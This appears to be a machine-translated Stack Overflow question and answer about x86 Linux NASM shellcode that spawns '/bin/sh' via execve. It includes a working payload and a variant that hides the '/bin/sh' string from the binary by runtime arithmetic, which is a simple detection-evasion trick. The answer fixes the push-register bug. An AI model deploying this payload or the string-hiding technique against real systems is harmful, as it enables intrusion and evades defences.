通过将指令替换为执行相同作业的另一指令来实现分段错误。为什么?

时间:2011-10-10 20:00:37

标签: linux assembly x86 nasm

我有这个工作的shellcode产生一个shell 我必须修改它,以便在编译后隐藏“/ bin / sh”或“sh”到二进制文件中的任何位置。我因此想到取/ bin / sh的十六进制值(2f 62 69 6e 2f 73 68)向它添加一些随机值说0x11111并将该值移动到寄存器,在运行时减去0x11111然后推送该运行时生成的值(成为/ bin / sh)进入堆栈并执行execv 但是我在第一步本身就遇到了分段错误。我无法弄清楚为什么?

以下代码可以正常使用。

section .data

section .text
    global _start
_start:

xor eax,eax
cdq
push eax
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80

但是这种变化会导致分段错误

section .data

section .text
    global _start
_start:

xor eax,eax
cdq
push eax
mov ecx,0x11111
mov ebx,0x68744040
sub ebx,ecx
push long eax
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80

请帮帮我吧。会很棒的。感谢

1 个答案:

答案 0 :(得分:1)

代码不同,不是吗?看这里:

sub ebx,ecx
push long eax

您计算ebx-ecx,但推eaxeax为零。

应该是:

sub ebx,ecx
push long ebx